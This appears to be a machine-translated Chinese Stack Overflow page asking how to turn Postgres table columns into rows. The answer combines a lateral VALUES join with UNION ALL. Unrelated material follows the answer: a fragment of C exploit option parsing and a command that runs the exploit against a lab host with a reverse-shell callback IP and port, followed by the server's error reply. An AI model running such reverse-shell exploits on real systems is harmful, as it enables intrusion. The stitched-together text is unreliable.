Postgres:将多个表中的单行转换为单个表中的多行

时间:2019-09-25 14:44:29

标签: sql postgresql

我的数据分散在多个表和行中,我希望将这些数据汇总为一个更有用的格式以用于我的用例。问题归结为这样的事情...

如果我有两个这样的表:

product_id  title_id  description_id
1           123       234 
2           345       456
3           567       678
product_id  additional_info_id
1           789
1           890
2           901

我将如何构造查询以返回这样的数据?

product_id  content_id  content_type
1           123         title 
1           234         description
1           789         additional_info
1           890         additional_info
2           345         title
2           456         description
2           901         additional_info
3           567         title
3           678         Description

我发现了this个帖子,可以构造这样的查询

select
    p.product_id,
    p_content.*
from
    product p,
    lateral (values
        (p.title_id, 'title'),
        (p.description_id, 'description')
    ) p_content (content_id, content_type)
;

以我需要的格式从product表中获取数据,但是我不知道如何合并additional_info表中的数据。

1 个答案:

答案 0 :(得分:4)

您可以使用select p.product_id, v.content_id, v.content_type from product p cross join lateral (values (p.title_id, 'title'), (p.description_id, 'description') ) v(content_id, content_type) union all select product_id, additional_info_id, 'additional_info' from additional_info ai;

`{

      printf("usage: %s <--target target> <--port port> <--protocol http|https> " \
      "<--reverse-ip ip> <--reverse-port port> [--force-interpreter interpreter]\n",
       argv[0]);
      exit(1);

      for(;;)
      {
         int c;
         int option_index=0;
         static struct option long_options[] = {
           {"target", required_argument, 0, 0 },
           {"port", required_argument, 0, 0 },
           {"protocol", required_argument, 0, 0 },
           {"reverse-ip", required_argument, 0, 0 },
           {"reverse-port", required_argument, 0, 0 },
           {"force-interpreter", required_argument, 0, 0 },    
           {0, 0, 0, 0 }
          };


--target 10.11.1.24 --port 80 --protocol http --reverse-ip 10.11.0.152 --reverse-port 4444 --force-interpreter PHP/5.2.3
PHP/5.2.3
***SERVER RESPONSE***

HTTP/1.1 400 Bad Request
Date: Wed, 25 Sep 2019 13:50:46 GMT
Server: Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6
Content-Length: 320
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6 Server at 10.11.1.24 Port 80</address>
</body></html>`